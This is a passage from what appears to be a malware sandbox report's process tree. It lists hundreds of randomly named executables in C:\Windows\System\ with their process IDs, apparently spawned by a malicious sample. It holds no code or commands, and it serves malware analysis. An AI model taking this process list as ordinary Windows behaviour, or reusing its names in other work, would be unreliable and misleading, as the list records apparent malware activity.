  2⤵
  PID:2008
- C:\Windows\System\CjkpGHD.exe
  C:\Windows\System\CjkpGHD.exe
  2⤵
  PID:4580
- C:\Windows\System\dIrgRZL.exe
  C:\Windows\System\dIrgRZL.exe
  2⤵
  PID:4644
- C:\Windows\System\fmdKKNK.exe
  C:\Windows\System\fmdKKNK.exe
  2⤵
  PID:4596
- C:\Windows\System\lNUQqbL.exe
  C:\Windows\System\lNUQqbL.exe
  2⤵
  PID:4712
- C:\Windows\System\UNfOnxp.exe
  C:\Windows\System\UNfOnxp.exe
  2⤵
  PID:4776
- C:\Windows\System\XiRAjXJ.exe
  C:\Windows\System\XiRAjXJ.exe
  2⤵
  PID:4840
- C:\Windows\System\RvjXUOI.exe
  C:\Windows\System\RvjXUOI.exe
  2⤵
  PID:4880
- C:\Windows\System\rPbZruH.exe
  C:\Windows\System\rPbZruH.exe
  2⤵
  PID:2816
- C:\Windows\System\SgrHaTZ.exe
  C:\Windows\System\SgrHaTZ.exe
  2⤵
  PID:2004
- C:\Windows\System\wywuEcv.exe
  C:\Windows\System\wywuEcv.exe
  2⤵
  PID:4696
- C:\Windows\System\NNQIUOX.exe
  C:\Windows\System\NNQIUOX.exe
  2⤵
  PID:4764
- C:\Windows\System\ELSzNHK.exe
  C:\Windows\System\ELSzNHK.exe
  2⤵
  PID:4940
- C:\Windows\System\fyfPNDX.exe
  C:\Windows\System\fyfPNDX.exe
  2⤵
  PID:4924
- C:\Windows\System\QfixvvH.exe
  C:\Windows\System\QfixvvH.exe
  2⤵
  PID:4860
- C:\Windows\System\CVRsiSs.exe
  C:\Windows\System\CVRsiSs.exe
  2⤵
  PID:4952
- C:\Windows\System\RTEHnqc.exe
  C:\Windows\System\RTEHnqc.exe
  2⤵
  PID:5004
- C:\Windows\System\YckDqUM.exe
  C:\Windows\System\YckDqUM.exe
  2⤵
  PID:5008
- C:\Windows\System\opGrCTC.exe
  C:\Windows\System\opGrCTC.exe
  2⤵
  PID:5028
- C:\Windows\System\vLSEJHn.exe
  C:\Windows\System\vLSEJHn.exe
  2⤵
  PID:5092
- C:\Windows\System\dsjgjNR.exe
  C:\Windows\System\dsjgjNR.exe
  2⤵
  PID:2776
- C:\Windows\System\xdWQWml.exe
  C:\Windows\System\xdWQWml.exe
  2⤵
  PID:2592
- C:\Windows\System\VtRkLBe.exe
  C:\Windows\System\VtRkLBe.exe
  2⤵
  PID:3328
- C:\Windows\System\aSiYRkd.exe
  C:\Windows\System\aSiYRkd.exe
  2⤵
  PID:540
- C:\Windows\System\ngmwaev.exe
  C:\Windows\System\ngmwaev.exe
  2⤵
  PID:1340
- C:\Windows\System\hOiNQhr.exe
  C:\Windows\System\hOiNQhr.exe
  2⤵
  PID:5104
- C:\Windows\System\NDbevlE.exe
  C:\Windows\System\NDbevlE.exe
  2⤵
  PID:3144
- C:\Windows\System\TQyIBAJ.exe
  C:\Windows\System\TQyIBAJ.exe
  2⤵
  PID:2260
- C:\Windows\System\LicKDvj.exe
  C:\Windows\System\LicKDvj.exe
  2⤵
  PID:3612
- C:\Windows\System\ZaqSTbx.exe
  C:\Windows\System\ZaqSTbx.exe
  2⤵
  PID:3676
- C:\Windows\System\xoODHqz.exe
  C:\Windows\System\xoODHqz.exe
  2⤵
  PID:3516
- C:\Windows\System\HeMObxH.exe
  C:\Windows\System\HeMObxH.exe
  2⤵
  PID:3892
- C:\Windows\System\RmBQHZu.exe
  C:\Windows\System\RmBQHZu.exe
  2⤵
  PID:3080
- C:\Windows\System\tseWtIl.exe
  C:\Windows\System\tseWtIl.exe
  2⤵
  PID:2724
- C:\Windows\System\tVMNXrp.exe
  C:\Windows\System\tVMNXrp.exe
  2⤵
  PID:3532
- C:\Windows\System\vcBfMRq.exe
  C:\Windows\System\vcBfMRq.exe
  2⤵
  PID:2532
- C:\Windows\System\ZhvjlwZ.exe
  C:\Windows\System\ZhvjlwZ.exe
  2⤵
  PID:3588
- C:\Windows\System\vqdYdAw.exe
  C:\Windows\System\vqdYdAw.exe
  2⤵
  PID:3664
- C:\Windows\System\wCkddsj.exe
  C:\Windows\System\wCkddsj.exe
  2⤵
  PID:3728
- C:\Windows\System\SvkWzRz.exe
  C:\Windows\System\SvkWzRz.exe
  2⤵
  PID:2680
- C:\Windows\System\JSOgiGx.exe
  C:\Windows\System\JSOgiGx.exe
  2⤵
  PID:4040
- C:\Windows\System\CmffHHz.exe
  C:\Windows\System\CmffHHz.exe
  2⤵
  PID:4136
- C:\Windows\System\yeukbur.exe
  C:\Windows\System\yeukbur.exe
  2⤵
  PID:4336
- C:\Windows\System\rqmullo.exe
  C:\Windows\System\rqmullo.exe
  2⤵
  PID:4292
- C:\Windows\System\apVbmmw.exe
  C:\Windows\System\apVbmmw.exe
  2⤵
  PID:4356
- C:\Windows\System\dHhRxbf.exe
  C:\Windows\System\dHhRxbf.exe
  2⤵
  PID:4372
- C:\Windows\System\UpMRguZ.exe
  C:\Windows\System\UpMRguZ.exe
  2⤵
  PID:1844
- C:\Windows\System\uEATAIi.exe
  C:\Windows\System\uEATAIi.exe
  2⤵
  PID:1344
- C:\Windows\System\BOmkOhI.exe
  C:\Windows\System\BOmkOhI.exe
  2⤵
  PID:2644
- C:\Windows\System\FrbtSJQ.exe
  C:\Windows\System\FrbtSJQ.exe
  2⤵
  PID:3048
- C:\Windows\System\PlHNtql.exe
  C:\Windows\System\PlHNtql.exe
  2⤵
  PID:4420
- C:\Windows\System\oUySvRE.exe
  C:\Windows\System\oUySvRE.exe
  2⤵
  PID:4396
- C:\Windows\System\uwdDnrm.exe
  C:\Windows\System\uwdDnrm.exe
  2⤵
  PID:4544
- C:\Windows\System\eLyhyJh.exe
  C:\Windows\System\eLyhyJh.exe
  2⤵
  PID:4472
- C:\Windows\System\PBAJFOV.exe
  C:\Windows\System\PBAJFOV.exe
  2⤵
  PID:3436
- C:\Windows\System\TjQDTQn.exe
  C:\Windows\System\TjQDTQn.exe
  2⤵
  PID:2548
- C:\Windows\System\sVgHXtV.exe
  C:\Windows\System\sVgHXtV.exe
  2⤵
  PID:4504
- C:\Windows\System\QlgSwOZ.exe
  C:\Windows\System\QlgSwOZ.exe
  2⤵
  PID:2996
- C:\Windows\System\nCqcUxC.exe
  C:\Windows\System\nCqcUxC.exe
  2⤵
  PID:2460
- C:\Windows\System\ebtWmSD.exe
  C:\Windows\System\ebtWmSD.exe
  2⤵
  PID:4640
- C:\Windows\System\TZmNpGV.exe
  C:\Windows\System\TZmNpGV.exe
  2⤵
  PID:4760
- C:\Windows\System\YyzvwQF.exe
  C:\Windows\System\YyzvwQF.exe
  2⤵
  PID:4944
- C:\Windows\System\RAUJIBv.exe
  C:\Windows\System\RAUJIBv.exe
  2⤵
  PID:4964
- C:\Windows\System\ueTCTyj.exe
  C:\Windows\System\ueTCTyj.exe
  2⤵
  PID:4932
- C:\Windows\System\zAJqzkv.exe
  C:\Windows\System\zAJqzkv.exe
  2⤵
  PID:4972
- C:\Windows\System\nwhQdde.exe
  C:\Windows\System\nwhQdde.exe
  2⤵
  PID:3324
- C:\Windows\System\lkrSTzQ.exe
  C:\Windows\System\lkrSTzQ.exe
  2⤵
  PID:3824
- C:\Windows\System\BYCbmpp.exe
  C:\Windows\System\BYCbmpp.exe
  2⤵
  PID:4848
- C:\Windows\System\EFJzPYf.exe
  C:\Windows\System\EFJzPYf.exe
  2⤵
  PID:288
- C:\Windows\System\xRIbZto.exe
  C:\Windows\System\xRIbZto.exe
  2⤵
  PID:3644
- C:\Windows\System\bHrxtDe.exe
  C:\Windows\System\bHrxtDe.exe
  2⤵
  PID:3392
- C:\Windows\System\NUsuucA.exe
  C:\Windows\System\NUsuucA.exe
  2⤵
  PID:3580
- C:\Windows\System\GpwoHCv.exe
  C:\Windows\System\GpwoHCv.exe
  2⤵
  PID:3752
- C:\Windows\System\omifZbs.exe
  C:\Windows\System\omifZbs.exe
  2⤵
  PID:2796
- C:\Windows\System\jBdNfyL.exe
  C:\Windows\System\jBdNfyL.exe
  2⤵
  PID:4148
- C:\Windows\System\cfZtcoU.exe
  C:\Windows\System\cfZtcoU.exe
  2⤵
  PID:3600
- C:\Windows\System\tyTYfWg.exe
  C:\Windows\System\tyTYfWg.exe
  2⤵
  PID:2392
- C:\Windows\System\ApPBqdW.exe
  C:\Windows\System\ApPBqdW.exe
  2⤵
  PID:2676
- C:\Windows\System\DboozJt.exe
  C:\Windows\System\DboozJt.exe
  2⤵
  PID:2684
- C:\Windows\System\gFspCQk.exe
  C:\Windows\System\gFspCQk.exe
  2⤵
  PID:3696
- C:\Windows\System\pHEEAmx.exe
  C:\Windows\System\pHEEAmx.exe
  2⤵
  PID:3756
- C:\Windows\System\CIKqWNx.exe
  C:\Windows\System\CIKqWNx.exe
  2⤵
  PID:2892
- C:\Windows\System\YzQtBnb.exe
  C:\Windows\System\YzQtBnb.exe
  2⤵
  PID:4200
- C:\Windows\System\tBnuDIB.exe
  C:\Windows\System\tBnuDIB.exe
  2⤵
  PID:4332
- C:\Windows\System\KYgREDX.exe
  C:\Windows\System\KYgREDX.exe
  2⤵
  PID:4364
- C:\Windows\System\MezoBtu.exe
  C:\Windows\System\MezoBtu.exe
  2⤵
  PID:2580
- C:\Windows\System\BaVaXbs.exe
  C:\Windows\System\BaVaXbs.exe
  2⤵
  PID:4416
- C:\Windows\System\nlcGzzc.exe
  C:\Windows\System\nlcGzzc.exe
  2⤵
  PID:4408
- C:\Windows\System\TcOGtUx.exe
  C:\Windows\System\TcOGtUx.exe
  2⤵
  PID:4456
- C:\Windows\System\HNoQKwf.exe
  C:\Windows\System\HNoQKwf.exe
  2⤵
  PID:3212
- C:\Windows\System\GWBzuef.exe
  C:\Windows\System\GWBzuef.exe
  2⤵
  PID:3376
- C:\Windows\System\pDawHDW.exe
  C:\Windows\System\pDawHDW.exe
  2⤵
  PID:2884
- C:\Windows\System\CCqeaYY.exe
  C:\Windows\System\CCqeaYY.exe
  2⤵
  PID:4556
- C:\Windows\System\PBCZsVK.exe
  C:\Windows\System\PBCZsVK.exe
  2⤵
  PID:4680
- C:\Windows\System\zDdXwol.exe
  C:\Windows\System\zDdXwol.exe
  2⤵
  PID:4960
- C:\Windows\System\hpIjxOL.exe
  C:\Windows\System\hpIjxOL.exe
  2⤵
  PID:608
- C:\Windows\System\UpdJcMN.exe
  C:\Windows\System\UpdJcMN.exe
  2⤵
  PID:4988
- C:\Windows\System\jANbPuv.exe
  C:\Windows\System\jANbPuv.exe
  2⤵
  PID:5088
- C:\Windows\System\mPlsZQN.exe
  C:\Windows\System\mPlsZQN.exe
  2⤵
  PID:2628
- C:\Windows\System\dECINcG.exe
  C:\Windows\System\dECINcG.exe
  2⤵
  PID:4280
- C:\Windows\System\oHFPYYH.exe
  C:\Windows\System\oHFPYYH.exe
  2⤵
  PID:3576
- C:\Windows\System\riMMHGr.exe
  C:\Windows\System\riMMHGr.exe
  2⤵
  PID:3388
- C:\Windows\System\iSgABdT.exe
  C:\Windows\System\iSgABdT.exe
  2⤵
  PID:4564
- C:\Windows\System\YZMMwPY.exe
  C:\Windows\System\YZMMwPY.exe
  2⤵
  PID:4004
- C:\Windows\System\LtfuGcK.exe
  C:\Windows\System\LtfuGcK.exe
  2⤵
  PID:2172
- C:\Windows\System\jpGDTuj.exe
  C:\Windows\System\jpGDTuj.exe
  2⤵
  PID:3660
- C:\Windows\System\bVuWUBu.exe
  C:\Windows\System\bVuWUBu.exe
  2⤵
  PID:4492
- C:\Windows\System\IMWyYYk.exe
  C:\Windows\System\IMWyYYk.exe
  2⤵
  PID:1728
- C:\Windows\System\lQBjgLG.exe
  C:\Windows\System\lQBjgLG.exe
  2⤵
  PID:4444
- C:\Windows\System\CESUgcY.exe
  C:\Windows\System\CESUgcY.exe
  2⤵
  PID:4180
- C:\Windows\System\PZmtJqp.exe
  C:\Windows\System\PZmtJqp.exe
  2⤵
  PID:2000
- C:\Windows\System\EzcKNuo.exe
  C:\Windows\System\EzcKNuo.exe
  2⤵
  PID:4516
- C:\Windows\System\PRNDRJM.exe
  C:\Windows\System\PRNDRJM.exe
  2⤵
  PID:4912
- C:\Windows\System\VmnCsGA.exe
  C:\Windows\System\VmnCsGA.exe
  2⤵
  PID:3224
- C:\Windows\System\fuNPSmc.exe
  C:\Windows\System\fuNPSmc.exe
  2⤵
  PID:1900
- C:\Windows\System\ZEvgKQP.exe
  C:\Windows\System\ZEvgKQP.exe
  2⤵
  PID:4796
- C:\Windows\System\TyCVqgz.exe
  C:\Windows\System\TyCVqgz.exe
  2⤵
  PID:1128
- C:\Windows\System\LFjTohm.exe
  C:\Windows\System\LFjTohm.exe
  2⤵
  PID:4276
- C:\Windows\System\tCOBvdF.exe
  C:\Windows\System\tCOBvdF.exe
  2⤵
  PID:4108
- C:\Windows\System\bxRUBAa.exe
  C:\Windows\System\bxRUBAa.exe
  2⤵
  PID:3260
- C:\Windows\System\zqMxyxg.exe
  C:\Windows\System\zqMxyxg.exe
  2⤵
  PID:4676
- C:\Windows\System\GKTtzfS.exe
  C:\Windows\System\GKTtzfS.exe
  2⤵
  PID:2560
- C:\Windows\System\mabQbnx.exe
  C:\Windows\System\mabQbnx.exe
  2⤵
  PID:2568
- C:\Windows\System\yFuUrqn.exe
  C:\Windows\System\yFuUrqn.exe
  2⤵
  PID:4376
- C:\Windows\System\wCfAQgu.exe
  C:\Windows\System\wCfAQgu.exe
  2⤵
  PID:3700
- C:\Windows\System\XjUwTKg.exe
  C:\Windows\System\XjUwTKg.exe
  2⤵
  PID:4404
- C:\Windows\System\DdjSdau.exe
  C:\Windows\System\DdjSdau.exe
  2⤵
  PID:1068
- C:\Windows\System\MPocarN.exe
  C:\Windows\System\MPocarN.exe
  2⤵
  PID:3408
- C:\Windows\System\nCPpTra.exe
  C:\Windows\System\nCPpTra.exe
  2⤵
  PID:3956
- C:\Windows\System\qAaDJjs.exe
  C:\Windows\System\qAaDJjs.exe
  2⤵
  PID:3632
- C:\Windows\System\XxFijEe.exe
  C:\Windows\System\XxFijEe.exe
  2⤵
  PID:2908
- C:\Windows\System\rmGIIyW.exe
  C:\Windows\System\rmGIIyW.exe
  2⤵
  PID:5012
- C:\Windows\System\xRnEwAk.exe
  C:\Windows\System\xRnEwAk.exe
  2⤵
  PID:4316
- C:\Windows\System\rBbFOdq.exe
  C:\Windows\System\rBbFOdq.exe
  2⤵
  PID:4500
- C:\Windows\System\aKIRURB.exe
  C:\Windows\System\aKIRURB.exe
  2⤵
  PID:3724
- C:\Windows\System\BJHfLUF.exe
  C:\Windows\System\BJHfLUF.exe
  2⤵
  PID:1816
- C:\Windows\System\HKhrPLy.exe
  C:\Windows\System\HKhrPLy.exe
  2⤵
  PID:4400
- C:\Windows\System\YCivtkN.exe
  C:\Windows\System\YCivtkN.exe
  2⤵
  PID:2288
- C:\Windows\System\GPIGQjG.exe
  C:\Windows\System\GPIGQjG.exe
  2⤵
  PID:4728
- C:\Windows\System\qIjbdjL.exe
  C:\Windows\System\qIjbdjL.exe
  2⤵
  PID:4264
- C:\Windows\System\CqaUQom.exe
  C:\Windows\System\CqaUQom.exe
  2⤵
  PID:320
- C:\Windows\System\bcFJHNB.exe
  C:\Windows\System\bcFJHNB.exe
  2⤵
  PID:2192
- C:\Windows\System\qRGUYXN.exe
  C:\Windows\System\qRGUYXN.exe
  2⤵
  PID:4348
- C:\Windows\System\POVUxmA.exe
  C:\Windows\System\POVUxmA.exe
  2⤵
  PID:2372
- C:\Windows\System\FZEtlqg.exe
  C:\Windows\System\FZEtlqg.exe
  2⤵
  PID:5124
- C:\Windows\System\YaXRCeB.exe
  C:\Windows\System\YaXRCeB.exe
  2⤵
  PID:5232
- C:\Windows\System\tBnYLft.exe
  C:\Windows\System\tBnYLft.exe
  2⤵
  PID:5252
- C:\Windows\System\FqVAOFZ.exe
  C:\Windows\System\FqVAOFZ.exe
  2⤵
  PID:5268
- C:\Windows\System\XFKLknt.exe
  C:\Windows\System\XFKLknt.exe
  2⤵
  PID:5284
- C:\Windows\System\EvuArSo.exe
  C:\Windows\System\EvuArSo.exe
  2⤵
  PID:5300
- C:\Windows\System\kmwhYub.exe
  C:\Windows\System\kmwhYub.exe
  2⤵
  PID:5320
- C:\Windows\System\mUjNdsQ.exe
  C:\Windows\System\mUjNdsQ.exe
  2⤵
  PID:5336
- C:\Windows\System\djGXYyJ.exe
  C:\Windows\System\djGXYyJ.exe
  2⤵
  PID:5360
- C:\Windows\System\BjLDuTG.exe
  C:\Windows\System\BjLDuTG.exe
  2⤵
  PID:5376
- C:\Windows\System\HaAusBV.exe
  C:\Windows\System\HaAusBV.exe
  2⤵
  PID:5392
- C:\Windows\System\LFWbLAe.exe
  C:\Windows\System\LFWbLAe.exe
  2⤵
  PID:5408
- C:\Windows\System\ibWEorx.exe
  C:\Windows\System\ibWEorx.exe
  2⤵
  PID:5428
- C:\Windows\System\zssPdOn.exe
  C:\Windows\System\zssPdOn.exe
  2⤵
  PID:5444
- C:\Windows\System\BBsUzSV.exe
  C:\Windows\System\BBsUzSV.exe
  2⤵
  PID:5460
- C:\Windows\System\vgvhCzT.exe
  C:\Windows\System\vgvhCzT.exe
  2⤵
  PID:5476
- C:\Windows\System\tCipOXi.exe
  C:\Windows\System\tCipOXi.exe
  2⤵
  PID:5620
- C:\Windows\System\kjckNxM.exe
  C:\Windows\System\kjckNxM.exe
  2⤵
  PID:5640
- C:\Windows\System\QCgADgU.exe
  C:\Windows\System\QCgADgU.exe
  2⤵
  PID:5660
- C:\Windows\System\DeOZLoc.exe
  C:\Windows\System\DeOZLoc.exe
  2⤵
  PID:5676
- C:\Windows\System\FKdJOPe.exe
  C:\Windows\System\FKdJOPe.exe
  2⤵
  PID:5696
- C:\Windows\System\HvyhbnF.exe
  C:\Windows\System\HvyhbnF.exe
  2⤵
  PID:5712
- C:\Windows\System\rMoaWHp.exe
  C:\Windows\System\rMoaWHp.exe
  2⤵
  PID:5728
- C:\Windows\System\vXSgBxE.exe
  C:\Windows\System\vXSgBxE.exe
  2⤵
  PID:5744
- C:\Windows\System\QnwNDey.exe
  C:\Windows\System\QnwNDey.exe
  2⤵
  PID:5760
- C:\Windows\System\nbCXkSd.exe
  C:\Windows\System\nbCXkSd.exe
  2⤵
  PID:5776
- C:\Windows\System\tYcqFIm.exe
  C:\Windows\System\tYcqFIm.exe
  2⤵
  PID:5792
- C:\Windows\System\DgNcHXO.exe
  C:\Windows\System\DgNcHXO.exe
  2⤵
  PID:5808
- C:\Windows\System\ZJHaBKt.exe
  C:\Windows\System\ZJHaBKt.exe
  2⤵
  PID:5824
- C:\Windows\System\piVxWAd.exe
  C:\Windows\System\piVxWAd.exe
  2⤵
  PID:5840
- C:\Windows\System\FkIgaGK.exe
  C:\Windows\System\FkIgaGK.exe
  2⤵
  PID:5856
- C:\Windows\System\szmGyDP.exe
  C:\Windows\System\szmGyDP.exe
  2⤵
  PID:5872
- C:\Windows\System\YDnJldB.exe
  C:\Windows\System\YDnJldB.exe
  2⤵
  PID:5888
- C:\Windows\System\cgiCfAr.exe
  C:\Windows\System\cgiCfAr.exe
  2⤵
  PID:5904
- C:\Windows\System\BKKTWRg.exe
  C:\Windows\System\BKKTWRg.exe
  2⤵
  PID:5920
- C:\Windows\System\JititMc.exe
  C:\Windows\System\JititMc.exe
  2⤵
  PID:5936
- C:\Windows\System\WYCAEEH.exe
  C:\Windows\System\WYCAEEH.exe
  2⤵
  PID:5956
- C:\Windows\System\ajlHdfn.exe
  C:\Windows\System\ajlHdfn.exe
  2⤵
  PID:5972
- C:\Windows\System\CxIpego.exe
  C:\Windows\System\CxIpego.exe
  2⤵
  PID:5988
- C:\Windows\System\gobyPzK.exe
  C:\Windows\System\gobyPzK.exe
  2⤵
  PID:6004
- C:\Windows\System\pWIGWmE.exe
  C:\Windows\System\pWIGWmE.exe
  2⤵
  PID:6024
- C:\Windows\System\TFxLPpG.exe
  C:\Windows\System\TFxLPpG.exe
  2⤵
  PID:6052
- C:\Windows\System\mqdSRHU.exe
  C:\Windows\System\mqdSRHU.exe
  2⤵
  PID:6100
- C:\Windows\System\xSMhNPq.exe
  C:\Windows\System\xSMhNPq.exe
  2⤵
  PID:6116
- C:\Windows\System\fbGQVJk.exe
  C:\Windows\System\fbGQVJk.exe
  2⤵
  PID:6132
- C:\Windows\System\rVGCRSn.exe
  C:\Windows\System\rVGCRSn.exe
  2⤵
  PID:3628
- C:\Windows\System\YrKiYWD.exe
  C:\Windows\System\YrKiYWD.exe
  2⤵
  PID:4576
- C:\Windows\System\btArcSj.exe
  C:\Windows\System\btArcSj.exe
  2⤵
  PID:5136
- C:\Windows\System\amZHfPq.exe
  C:\Windows\System\amZHfPq.exe
  2⤵
  PID:5160
- C:\Windows\System\hmXCyOv.exe
  C:\Windows\System\hmXCyOv.exe
  2⤵
  PID:5184
- C:\Windows\System\GOtLSrL.exe
  C:\Windows\System\GOtLSrL.exe
  2⤵
  PID:5164
- C:\Windows\System\geDBzsQ.exe
  C:\Windows\System\geDBzsQ.exe
  2⤵
  PID:5280
- C:\Windows\System\mCwLPOI.exe
  C:\Windows\System\mCwLPOI.exe
  2⤵
  PID:5316
- C:\Windows\System\aCLRqbo.exe
  C:\Windows\System\aCLRqbo.exe
  2⤵
  PID:5328
- C:\Windows\System\xEylzPC.exe
  C:\Windows\System\xEylzPC.exe
  2⤵
  PID:5260
- C:\Windows\System\KwYeHeO.exe
  C:\Windows\System\KwYeHeO.exe
  2⤵
  PID:5212
- C:\Windows\System\sRylkEK.exe
  C:\Windows\System\sRylkEK.exe
  2⤵
  PID:5368
- C:\Windows\System\QhVvHaT.exe
  C:\Windows\System\QhVvHaT.exe
  2⤵
  PID:5192
- C:\Windows\System\jTRENzm.exe
  C:\Windows\System\jTRENzm.exe
  2⤵
  PID:5436
- C:\Windows\System\bvFbDjw.exe
  C:\Windows\System\bvFbDjw.exe
  2⤵
  PID:5508
- C:\Windows\System\JfApFkN.exe
  C:\Windows\System\JfApFkN.exe
  2⤵
  PID:5356
- C:\Windows\System\mYVfLsN.exe
  C:\Windows\System\mYVfLsN.exe
  2⤵
  PID:5520
- C:\Windows\System\kpUPGuM.exe
  C:\Windows\System\kpUPGuM.exe
  2⤵
  PID:5488
- C:\Windows\System\XYURvGs.exe
  C:\Windows\System\XYURvGs.exe
  2⤵
  PID:5516
- C:\Windows\System\QyZVgLl.exe
  C:\Windows\System\QyZVgLl.exe
  2⤵
  PID:5592
- C:\Windows\System\YXQHnUT.exe
  C:\Windows\System\YXQHnUT.exe
  2⤵
  PID:5668
- C:\Windows\System\nlVhplu.exe
  C:\Windows\System\nlVhplu.exe
  2⤵
  PID:5996
- C:\Windows\System\hyPyqDj.exe
  C:\Windows\System\hyPyqDj.exe
  2⤵
  PID:5588
- C:\Windows\System\iCCjMyA.exe
  C:\Windows\System\iCCjMyA.exe
  2⤵
  PID:5600
- C:\Windows\System\ZGXXwpp.exe
  C:\Windows\System\ZGXXwpp.exe
  2⤵
  PID:5616
- C:\Windows\System\mYYSSFB.exe
  C:\Windows\System\mYYSSFB.exe
  2⤵
  PID:5916
- C:\Windows\System\Ojlvago.exe
  C:\Windows\System\Ojlvago.exe
  2⤵
  PID:5952
- C:\Windows\System\ukWEJNf.exe
  C:\Windows\System\ukWEJNf.exe
  2⤵
  PID:6016
- C:\Windows\System\mQeWHjW.exe
  C:\Windows\System\mQeWHjW.exe
  2⤵
  PID:6112
- C:\Windows\System\KbijJCc.exe
  C:\Windows\System\KbijJCc.exe
  2⤵
  PID:5132
- C:\Windows\System\sdmtrso.exe
  C:\Windows\System\sdmtrso.exe
  2⤵
  PID:5248
- C:\Windows\System\XhUQFRO.exe
  C:\Windows\System\XhUQFRO.exe
  2⤵
  PID:5632
- C:\Windows\System\IYoqkug.exe
  C:\Windows\System\IYoqkug.exe
  2⤵
  PID:6128
- C:\Windows\System\dlPoymf.exe
  C:\Windows\System\dlPoymf.exe
  2⤵
  PID:6072
- C:\Windows\System\vQLiepX.exe
  C:\Windows\System\vQLiepX.exe
  2⤵
  PID:6088
- C:\Windows\System\mKiVhra.exe
  C:\Windows\System\mKiVhra.exe
  2⤵
  PID:6124
- C:\Windows\System\tpsMtoK.exe
  C:\Windows\System\tpsMtoK.exe
  2⤵
  PID:2036
- C:\Windows\System\IJJyYvw.exe
  C:\Windows\System\IJJyYvw.exe
  2⤵
  PID:5312
- C:\Windows\System\DMLtXUX.exe
  C:\Windows\System\DMLtXUX.exe
  2⤵
  PID:5468
- C:\Windows\System\MNfBHRE.exe
  C:\Windows\System\MNfBHRE.exe
  2⤵
  PID:5456
- C:\Windows\System\xcecXqo.exe
  C:\Windows\System\xcecXqo.exe
  2⤵
  PID:5576
- C:\Windows\System\vVgwEtd.exe
  C:\Windows\System\vVgwEtd.exe
  2⤵
  PID:5768
- C:\Windows\System\fZyCQgN.exe
  C:\Windows\System\fZyCQgN.exe
  2⤵
  PID:5836
- C:\Windows\System\sstqtCL.exe
  C:\Windows\System\sstqtCL.exe
  2⤵
  PID:5932
- C:\Windows\System\nzNyOCV.exe
  C:\Windows\System\nzNyOCV.exe
  2⤵
  PID:6040
- C:\Windows\System\YEgLalq.exe
  C:\Windows\System\YEgLalq.exe
  2⤵
  PID:5864
- C:\Windows\System\iDJfgjO.exe
  C:\Windows\System\iDJfgjO.exe
  2⤵
  PID:5596
- C:\Windows\System\PigVwXj.exe
  C:\Windows\System\PigVwXj.exe
  2⤵
  PID:5552
- C:\Windows\System\twuDQTj.exe
  C:\Windows\System\twuDQTj.exe
  2⤵
  PID:5564
- C:\Windows\System\SuijdEi.exe
  C:\Windows\System\SuijdEi.exe
  2⤵
  PID:5612
- C:\Windows\System\tDjztfl.exe
  C:\Windows\System\tDjztfl.exe
  2⤵
  PID:5684
- C:\Windows\System\ovtnvqV.exe
  C:\Windows\System\ovtnvqV.exe
  2⤵
  PID:5816
- C:\Windows\System\qUxDnPI.exe
  C:\Windows\System\qUxDnPI.exe
  2⤵
  PID:5848
- C:\Windows\System\XEEJIaE.exe
  C:\Windows\System\XEEJIaE.exe
  2⤵
  PID:5496
- C:\Windows\System\onvbeYb.exe
  C:\Windows\System\onvbeYb.exe
  2⤵
  PID:5636
- C:\Windows\System\RAHBhWM.exe
  C:\Windows\System\RAHBhWM.exe
  2⤵
  PID:6076
- C:\Windows\System\GJtYuoB.exe
  C:\Windows\System\GJtYuoB.exe
  2⤵
  PID:5168
- C:\Windows\System\mXKxvfd.exe
  C:\Windows\System\mXKxvfd.exe
  2⤵
  PID:5740
- C:\Windows\System\GIcKnlG.exe
  C:\Windows\System\GIcKnlG.exe
  2⤵
  PID:5868
- C:\Windows\System\eQcKEYL.exe
  C:\Windows\System\eQcKEYL.exe
  2⤵
  PID:5540
- C:\Windows\System\QnQuRXv.exe
  C:\Windows\System\QnQuRXv.exe
  2⤵
  PID:5784
- C:\Windows\System\EnmNJGv.exe
  C:\Windows\System\EnmNJGv.exe
  2⤵
  PID:5852
- C:\Windows\System\LJeNYkz.exe
  C:\Windows\System\LJeNYkz.exe
  2⤵
  PID:6032
- C:\Windows\System\PhDDCop.exe
  C:\Windows\System\PhDDCop.exe
  2⤵
  PID:5652
- C:\Windows\System\cfnyGBa.exe
  C:\Windows\System\cfnyGBa.exe
  2⤵
  PID:6108
- C:\Windows\System\wpZGkwi.exe
  C:\Windows\System\wpZGkwi.exe
  2⤵
  PID:3016
- C:\Windows\System\LTmMmEN.exe
  C:\Windows\System\LTmMmEN.exe
  2⤵
  PID:5264
- C:\Windows\System\slMNNXV.exe
  C:\Windows\System\slMNNXV.exe
  2⤵
  PID:5580
- C:\Windows\System\zHhkFWh.exe
  C:\Windows\System\zHhkFWh.exe
  2⤵
  PID:5628
- C:\Windows\System\GbfGZZV.exe
  C:\Windows\System\GbfGZZV.exe
  2⤵
  PID:6092
- C:\Windows\System\YYfRzXd.exe
  C:\Windows\System\YYfRzXd.exe
  2⤵
  PID:5548
- C:\Windows\System\xTTTSDx.exe
  C:\Windows\System\xTTTSDx.exe
  2⤵
  PID:6156
- C:\Windows\System\PsuTywD.exe
  C:\Windows\System\PsuTywD.exe
  2⤵
  PID:6172
- C:\Windows\System\XFAFsGd.exe
  C:\Windows\System\XFAFsGd.exe
  2⤵
  PID:6192
- C:\Windows\System\xTUfmLH.exe
  C:\Windows\System\xTUfmLH.exe
  2⤵
  PID:6208
- C:\Windows\System\MDryHRt.exe
  C:\Windows\System\MDryHRt.exe
  2⤵
  PID:6224
- C:\Windows\System\DXJSqlk.exe
  C:\Windows\System\DXJSqlk.exe
  2⤵
  PID:6244
- C:\Windows\System\BXIIEqu.exe
  C:\Windows\System\BXIIEqu.exe
  2⤵
  PID:6260
- C:\Windows\System\LurAeYU.exe
  C:\Windows\System\LurAeYU.exe
  2⤵
  PID:6276
- C:\Windows\System\FgzQwbb.exe
  C:\Windows\System\FgzQwbb.exe
  2⤵
  PID:6292
- C:\Windows\System\nJsWaeA.exe
  C:\Windows\System\nJsWaeA.exe
  2⤵
  PID:6308
- C:\Windows\System\NUayKaV.exe
  C:\Windows\System\NUayKaV.exe
  2⤵
  PID:6328
- C:\Windows\System\ZjpgYpE.exe
  C:\Windows\System\ZjpgYpE.exe
  2⤵
  PID:6344
- C:\Windows\System\ayVRMwE.exe
  C:\Windows\System\ayVRMwE.exe
  2⤵
  PID:6388
- C:\Windows\System\MzWlSHD.exe
  C:\Windows\System\MzWlSHD.exe
  2⤵
  PID:6404
- C:\Windows\System\Klgfdlc.exe
  C:\Windows\System\Klgfdlc.exe
  2⤵
  PID:6420
- C:\Windows\System\owULUuQ.exe
  C:\Windows\System\owULUuQ.exe
  2⤵
  PID:6436
- C:\Windows\System\ibZNqsf.exe
  C:\Windows\System\ibZNqsf.exe
